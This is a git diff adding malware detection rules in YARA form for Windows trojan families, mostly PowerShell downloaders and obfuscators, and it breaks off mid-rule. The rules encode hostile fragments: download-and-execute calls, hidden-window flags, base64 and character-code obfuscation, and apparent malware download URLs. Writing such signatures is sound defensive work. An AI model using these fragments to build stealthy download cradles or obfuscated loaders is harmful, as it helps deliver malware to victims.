a/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ZHQ_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ZHQ_MTB.yar new file mode 100644 index 0000000000..31cb373b48 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_OffLoader_ZHQ_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_OffLoader_ZHQ_MTB{ + meta: + description = "Trojan:Win32/OffLoader.ZHQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " + + strings : + $a_80_0 = {3a 2f 2f 74 72 69 70 73 68 61 70 65 2e 78 79 7a 2f 67 6f 6e 73 2e 70 68 70 3f } //://tripshape.xyz/gons.php? 3 + $a_80_1 = {3a 2f 2f 74 68 69 6e 67 73 70 69 65 73 2e 69 6e 66 6f 2f 67 6f 6e 2e 70 68 70 3f } //://thingspies.info/gon.php? 3 + $a_80_2 = {2f 73 69 6c 65 6e 74 } ///silent 1 + $a_80_3 = {44 6f 20 79 6f 75 20 77 61 6e 74 20 74 6f 20 72 65 62 6f 6f 74 20 6e 6f 77 3f } //Do you want to reboot now? 1 + condition: + ((#a_80_0 & 1)*3+(#a_80_1 & 1)*3+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/OffLoader/Trojan_Win32_Offloader_GKP_MTB.yar b/Trojan/Win32/OffLoader/Trojan_Win32_Offloader_GKP_MTB.yar new file mode 100644 index 0000000000..e3892ce159 --- /dev/null +++ b/Trojan/Win32/OffLoader/Trojan_Win32_Offloader_GKP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Offloader_GKP_MTB{ + meta: + description = "Trojan:Win32/Offloader.GKP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_03_0 = {72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 b2 35 00 ?? ?? ?? ?? be 41 0e 00 00 e4 0c 00 ?? ?? ?? ?? 00 00 01 00 0d 00 40 40 } //4 + $a_03_1 = {72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 60 33 00 ?? ?? ?? ?? 3a 46 0e 00 00 e8 0c 00 ?? ?? ?? ?? 00 00 01 00 0d 00 40 40 } //4 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/PSObfus/Trojan_Win32_PSObfus_BSA_MTB.yar b/Trojan/Win32/PSObfus/Trojan_Win32_PSObfus_BSA_MTB.yar new file mode 100644 index 0000000000..08d5502de0 --- /dev/null +++ b/Trojan/Win32/PSObfus/Trojan_Win32_PSObfus_BSA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_PSObfus_BSA_MTB{ + meta: + description = "Trojan:Win32/PSObfus.BSA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 24 00 } //1 powershell $ + $a_00_1 = {2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 } //1 .replace( + $a_00_2 = {2b 00 20 00 5b 00 63 00 68 00 61 00 72 00 5d 00 } //1 + [char] + $a_00_3 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 20 00 24 00 } //1 [System.Convert]::FromBase64String( $ + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HA_MTB.yar b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HA_MTB.yar new file mode 100644 index 0000000000..db8de7ab38 --- /dev/null +++ b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_PShellDlr_HA_MTB{ + meta: + description = "Trojan:Win32/PShellDlr.HA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,38 00 38 00 03 00 00 " + + strings : + $a_02_0 = {28 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 66 00 69 00 6c 00 65 00 28 00 [0-04] 74 00 74 00 70 00 3a 00 2f 00 2f 00 [0-3c] 2e 00 65 00 78 00 [0-04] 2c 00 24 00 64 00 29 00 3b 00 } //50 + $a_02_1 = {2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 24 00 64 00 3d 00 24 00 65 00 6e 00 76 00 3a 00 74 00 65 00 6d 00 70 00 2b 00 [0-50] 2e 00 65 00 78 00 [0-04] 3b 00 } //5 + $a_00_2 = {73 00 74 00 61 00 72 00 74 00 2d 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 24 00 64 00 3b 00 } //1 start-process $d; + condition: + ((#a_02_0 & 1)*50+(#a_02_1 & 1)*5+(#a_00_2 & 1)*1) >=56 + +} \ No newline at end of file diff --git a/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HC_MTB.yar b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HC_MTB.yar new file mode 100644 index 0000000000..3d31c288c7 --- /dev/null +++ b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_PShellDlr_HC_MTB{ + meta: + description = "Trojan:Win32/PShellDlr.HC!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 00 " + + strings : + $a_00_0 = {5b 00 63 00 68 00 61 00 72 00 5d 00 31 00 30 00 34 00 2b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 31 00 31 00 36 00 2b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 31 00 31 00 36 00 2b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 31 00 31 00 32 00 2b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 35 00 38 00 2b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 34 00 37 00 2b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 34 00 37 00 2b 00 } //20 [char]104+[char]116+[char]116+[char]112+[char]58+[char]47+[char]47+ + $a_00_1 = {2e 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 28 00 24 00 } //1 .Invoke($ + condition: + ((#a_00_0 & 1)*20+(#a_00_1 & 1)*1) >=20 + +} \ No newline at end of file diff --git a/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HD_MTB.yar b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HD_MTB.yar new file mode 100644 index 0000000000..51b26c9165 --- /dev/null +++ b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HD_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_PShellDlr_HD_MTB{ + meta: + description = "Trojan:Win32/PShellDlr.HD!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 05 00 00 " + + strings : + $a_02_0 = {5b 00 63 00 68 00 61 00 72 00 5d 00 [0-06] 20 00 2b 00 20 00 27 00 [0-30] 27 00 20 00 2b 00 20 00 5b 00 63 00 68 00 61 00 72 00 5d 00 90 1b 00 20 00 2b 00 20 00 27 00 [0-30] 27 00 20 00 2b 00 20 00 5b 00 63 00 68 00 61 00 72 00 5d 00 90 1b 00 20 00 2b 00 20 00 27 00 [0-30] 27 00 20 00 2b 00 20 00 5b 00 63 00 68 00 61 00 72 00 5d 00 90 1b 00 } //100 + $a_00_1 = {2e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 } //10 .replace( + $a_00_2 = {2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 } //1 -command + $a_00_3 = {5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 } //1 [system.convert]:: + $a_00_4 = {66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 67 00 } //1 frombase64string + condition: + ((#a_02_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=111 + +} \ No newline at end of file diff --git a/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HF_MTB.yar b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HF_MTB.yar new file mode 100644 index 0000000000..24c9987b43 --- /dev/null +++ b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_PShellDlr_HF_MTB{ + meta: + description = "Trojan:Win32/PShellDlr.HF!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 74 00 65 00 78 00 74 00 2e 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 27 00 2b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 [0-08] 2b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 [0-08] 2b 00 27 00 75 00 74 00 66 00 38 00 2e 00 67 00 65 00 74 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 27 00 2b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 [0-08] 2b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 [0-08] 2b 00 27 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 67 00 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HG_MTB.yar b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HG_MTB.yar new file mode 100644 index 0000000000..191661fbd4 --- /dev/null +++ b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_PShellDlr_HG_MTB{ + meta: + description = "Trojan:Win32/PShellDlr.HG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 [0-08] 20 00 90 23 80 09 30 2d 3a 61 2d 7a 25 5c 2d 2e 00 74 00 78 00 74 00 2c 00 69 00 65 00 78 00 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HH_MTB.yar b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HH_MTB.yar new file mode 100644 index 0000000000..d0897c9a10 --- /dev/null +++ b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HH_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_PShellDlr_HH_MTB{ + meta: + description = "Trojan:Win32/PShellDlr.HH!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,35 00 35 00 05 00 00 " + + strings : + $a_00_0 = {5b 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 63 00 72 00 65 00 61 00 74 00 65 00 28 00 } //1 [scriptblock]::create( + $a_00_1 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 73 00 74 00 6d 00 65 00 74 00 68 00 6f 00 64 00 20 00 24 00 } //1 invoke-restmethod $ + $a_00_2 = {2e 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 28 00 29 00 } //1 .invoke() + $a_00_3 = {5b 00 69 00 6e 00 74 00 5d 00 5b 00 63 00 68 00 61 00 72 00 5d 00 24 00 5f 00 } //40 [int][char]$_ + $a_00_4 = {2d 00 6a 00 6f 00 69 00 6e 00 20 00 27 00 27 00 } //10 -join '' + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*40+(#a_00_4 & 1)*10) >=53 + +} \ No newline at end of file diff --git a/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HK_MTB.yar b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HK_MTB.yar new file mode 100644 index 0000000000..6625201b95 --- /dev/null +++ b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HK_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_PShellDlr_HK_MTB{ + meta: + description = "Trojan:Win32/PShellDlr.HK!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,6a 00 6a 00 05 00 00 " + + strings : + $a_02_0 = {2f 00 6d 00 69 00 6e 00 20 00 21 00 [0-16] 6c 00 } //100 + $a_00_1 = {3d 00 70 00 6f 00 77 00 26 00 } //50 =pow& + $a_00_2 = {3d 00 65 00 72 00 73 00 26 00 } //50 =ers& + $a_00_3 = {2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 } //1 .downloadstring + $a_00_4 = {69 00 65 00 78 00 20 00 24 00 } //5 iex $ + condition: + ((#a_02_0 & 1)*100+(#a_00_1 & 1)*50+(#a_00_2 & 1)*50+(#a_00_3 & 1)*1+(#a_00_4 & 1)*5) >=106 + +} \ No newline at end of file diff --git a/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HL_MTB.yar b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HL_MTB.yar new file mode 100644 index 0000000000..316b20f4b2 --- /dev/null +++ b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_HL_MTB.yar @@ -0,0 +1,19 @@ + +rule Trojan_Win32_PShellDlr_HL_MTB{ + meta: + description = "Trojan:Win32/PShellDlr.HL!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 09 00 00 " + + strings : + $a_02_0 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 27 00 20 00 2b 00 20 00 24 00 [0-10] 5b 00 [0-04] 5d 00 } //100 + $a_02_1 = {30 00 78 00 36 00 39 00 [0-14] 30 00 78 00 36 00 35 00 [0-14] 30 00 78 00 37 00 38 00 } //100 + $a_00_2 = {2d 00 57 00 20 00 48 00 69 00 44 00 64 00 45 00 6e 00 20 00 2d 00 43 00 } //1 -W HiDdEn -C + $a_00_3 = {2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 53 00 74 00 79 00 6c 00 65 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //1 -WindowStyle hidden -Command + $a_00_4 = {2d 00 77 00 20 00 6d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 20 00 2d 00 63 00 } //1 -w minimized -c + $a_00_5 = {2d 00 77 00 20 00 31 00 } //1 -w 1 + $a_00_6 = {e2 00 80 00 95 00 57 00 20 00 68 00 20 00 2d 00 63 00 } //1 + $a_00_7 = {2d 00 77 00 20 00 68 00 20 00 2d 00 4e 00 6f 00 50 00 20 00 2d 00 63 00 } //1 -w h -NoP -c + $a_00_8 = {2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 20 00 48 00 } //1 -Window H + condition: + ((#a_02_0 & 1)*100+(#a_02_1 & 1)*100+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1) >=101 + +} \ No newline at end of file diff --git a/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_SG_MTB.yar b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_SG_MTB.yar new file mode 100644 index 0000000000..779d8eb5de --- /dev/null +++ b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_SG_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_Win32_PShellDlr_SG_MTB{ + meta: + description = "Trojan:Win32/PShellDlr.SG!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,56 04 56 04 0d 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //500 powershell + $a_00_1 = {6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //500 net.webclient + $a_00_2 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 } //10 invoke + $a_00_3 = {6a 00 6f 00 69 00 6e 00 } //10 join + $a_02_4 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 73 00 68 00 6f 00 70 00 } //100 + $a_02_5 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 78 00 79 00 7a 00 } //100 + $a_02_6 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 63 00 79 00 6f 00 75 00 } //100 + $a_02_7 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 63 00 6c 00 69 00 63 00 6b 00 } //100 + $a_02_8 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 6c 00 61 00 74 00 } //100 + $a_02_9 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 } //100 + $a_02_10 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 74 00 6f 00 64 00 61 00 79 00 } //100 + $a_02_11 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 77 00 6f 00 72 00 6c 00 64 00 } //100 + $a_02_12 = {64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 [0-02] 68 00 74 00 74 00 70 00 [0-02] 3a 00 2f 00 2f 00 [0-3c] 2e 00 69 00 63 00 75 00 } //100 + condition: + ((#a_00_0 & 1)*500+(#a_00_1 & 1)*500+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_02_4 & 1)*100+(#a_02_5 & 1)*100+(#a_02_6 & 1)*100+(#a_02_7 & 1)*100+(#a_02_8 & 1)*100+(#a_02_9 & 1)*100+(#a_02_10 & 1)*100+(#a_02_11 & 1)*100+(#a_02_12 & 1)*100) >=1110 + +} \ No newline at end of file diff --git a/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_YH_MTB.yar b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_YH_MTB.yar new file mode 100644 index 0000000000..352a711317 --- /dev/null +++ b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_YH_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_PShellDlr_YH_MTB{ + meta: + description = "Trojan:Win32/PShellDlr.YH!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 07 00 00 " + + strings : + $a_00_0 = {2e 00 73 00 68 00 6f 00 70 00 2f 00 } //100 .shop/ + $a_00_1 = {2e 00 78 00 79 00 7a 00 2f 00 } //100 .xyz/ + $a_00_2 = {2e 00 74 00 6f 00 64 00 61 00 79 00 2f 00 } //100 .today/ + $a_00_3 = {2e 00 72 00 75 00 6e 00 2f 00 } //100 .run/ + $a_00_4 = {2e 00 63 00 79 00 6f 00 75 00 2f 00 } //100 .cyou/ + $a_00_5 = {2e 00 63 00 6c 00 69 00 63 00 6b 00 2f 00 } //100 .click/ + $a_00_6 = {2e 00 6c 00 61 00 74 00 2f 00 } //100 .lat/ + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*100+(#a_00_2 & 1)*100+(#a_00_3 & 1)*100+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_00_6 & 1)*100) >=100 + +} \ No newline at end of file diff --git a/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_YM_MTB.yar b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_YM_MTB.yar new file mode 100644 index 0000000000..ddab1845a3 --- /dev/null +++ b/Trojan/Win32/PShellDlr/Trojan_Win32_PShellDlr_YM_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_PShellDlr_YM_MTB{ + meta: + description = "Trojan:Win32/PShellDlr.YM!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 04 00 00 " + + strings : + $a_00_0 = {2d 00 73 00 70 00 6c 00 69 00 74 00 } //10 -split + $a_00_1 = {63 00 68 00 61 00 72 00 5d 00 28 00 5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 54 00 6f 00 49 00 6e 00 74 00 33 00 32 00 28 00 24 00 5f 00 } //10 char]([convert]::ToInt32($_ + $a_00_2 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //10 powershell + $a_00_3 = {2d 00 6a 00 6f 00 69 00 6e 00 } //10 -join + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=40 + +} \ No newline at end of file diff --git a/Trojan/Win32/PShellDown/Trojan_Win32_PShellDown_SC.yar b/Trojan/Win32/PShellDown/Trojan_Win32_PShellDown_SC.yar new file mode 100644 index 0000000000..32933f5252 --- /dev/null +++ b/Trojan/Win32/PShellDown/Trojan_Win32_PShellDown_SC.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win32_PShellDown_SC{ + meta: + description = "Trojan:Win32/PShellDown.SC,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 0b 00 00 " + + strings : + $a_80_0 = {70 6f 77 65 72 73 68 65 6c 6c } //powershell 10 + $a_80_1 = {68 74 74 70 } //http 10 + $a_80_2 = {6e 65 74 2d 77 65 62 63 6c 69 65 6e 74 } //net-webclient 10 + $a_80_3 = {6d 69 63 72 6f 73 6f 66 74 2e 70 6f 77 65 72 73 68 65 6c 6c 2e 63 6f 6d 6d 61 6e 64 73 2e 77 65 62 72 65 71 75 65 73 74 73 65 73 73 69 6f 6e } //microsoft.powershell.commands.webrequestsession 20 + $a_80_4 = {69 6e 76 6f 6b 65 2d 77 65 62 72 65 71 75 65 73 74 } //invoke-webrequest 10 + $a_80_5 = {64 6f 77 6e 6c 6f 61 64 73 74 72 69 6e 67 } //downloadstring 1 + $a_80_6 = {64 6f 77 6e 6c 6f 61 64 66 69 6c 65 } //downloadfile 1 + $a_80_7 = {69 6e 76 6f 6b 65 2d 65 78 70 72 65 73 73 69 6f 6e } //invoke-expression 1 + $a_80_8 = {69 65 78 20 } //iex 1 + $a_00_9 = {66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 63 00 68 00 65 00 63 00 6b 00 73 00 63 00 72 00 69 00 70 00 74 00 } //-500 function checkscript + $a_00_10 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 64 00 65 00 76 00 2d 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 67 00 61 00 69 00 61 00 63 00 6c 00 6f 00 75 00 64 00 2e 00 6a 00 70 00 6d 00 63 00 68 00 61 00 73 00 65 00 2e 00 6e 00 65 00 74 00 2f 00 61 00 70 00 69 00 2f 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 2f 00 76 00 31 00 } //-100 https://dev-shell.gaiacloud.jpmchase.net/api/install/v1 + condition: + ((#a_80_0 & 1)*10+(#a_80_1 & 1)*10+(#a_80_2 & 1)*10+(#a_80_3 & 1)*20+(#a_80_4 & 1)*10+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_00_9 & 1)*-500+(#a_00_10 & 1)*-100) >=31 + +} \ No newline at end of file diff --git a/Trojan/Win32/PShellObf/Trojan_Win32_PShellObf_SA.yar b/Trojan/Win32/PShellObf/Trojan_Win32_PShellObf_SA.yar new file mode 100644 index 0000000000..b6093df707 --- /dev/null +++ b/Trojan/Win32/PShellObf/Trojan_Win32_PShellObf_SA.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_PShellObf_SA{ + meta: + description = "Trojan:Win32/PShellObf.SA,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_02_1 = {5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 30 00 35 00 29 00 [0-10] 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 30 00 31 00 29 00 [0-10] 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 31 00 32 00 30 00 29 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/PShellObf/Trojan_Win32_PShellObf_SAB.yar b/Trojan/Win32/PShellObf/Trojan_Win32_PShellObf_SAB.yar new file mode 100644 index 0000000000..edc7a46727 --- /dev/null +++ b/Trojan/Win32/PShellObf/Trojan_Win32_PShellObf_SAB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_PShellObf_SAB{ + meta: + description = "Trojan:Win32/PShellObf.SAB,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_02_1 = {5b 00 63 00 68 00 61 00 72 00 5d 00 [0-02] 31 00 30 00 35 00 [0-10] 5b 00 63 00 68 00 61 00 72 00 5d 00 [0-02] 31 00 30 00 31 00 [0-10] 5b 00 63 00 68 00 61 00 72 00 5d 00 [0-02] 31 00 32 00 30 00 } //1 + $a_02_2 = {5b 00 63 00 68 00 61 00 72 00 5d 00 [0-02] 31 00 30 00 35 00 [0-10] 5b 00 63 00 68 00 61 00 72 00 5d 00 [0-02] 31 00 31 00 39 00 [0-10] 5b 00 63 00 68 00 61 00 72 00 5d 00 [0-02] 31 00 31 00 34 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/PanPals/Trojan_Win32_PanPals_gen_dha.yar b/Trojan/Win32/PanPals/Trojan_Win32_PanPals_gen_dha.yar index 387eef6aa6..c789a3aeb1 100644 --- a/Trojan/Win32/PanPals/Trojan_Win32_PanPals_gen_dha.yar +++ b/Trojan/Win32/PanPals/Trojan_Win32_PanPals_gen_dha.yar @@ -6,7 +6,7 @@ rule Trojan_Win32_PanPals_gen_dha{ strings : $a_41_0 = {47 04 03 c3 8a 84 08 08 02 00 00 88 04 0e 41 3b 0f 72 ec 05 } //5 $a_6a_1 = {68 00 30 00 00 ff 36 50 ff 95 90 01 04 8b 4e 04 ff 36 81 c1 08 02 00 00 90 02 06 03 cf 51 50 e8 90 00 05 00 2c 43 6a 04 68 00 30 00 00 8b 55 90 01 01 8b 02 05 c0 0d 00 00 50 6a 00 ff 90 01 05 89 45 90 } //9216 - $a_4d_2 = {01 01 81 c1 a0 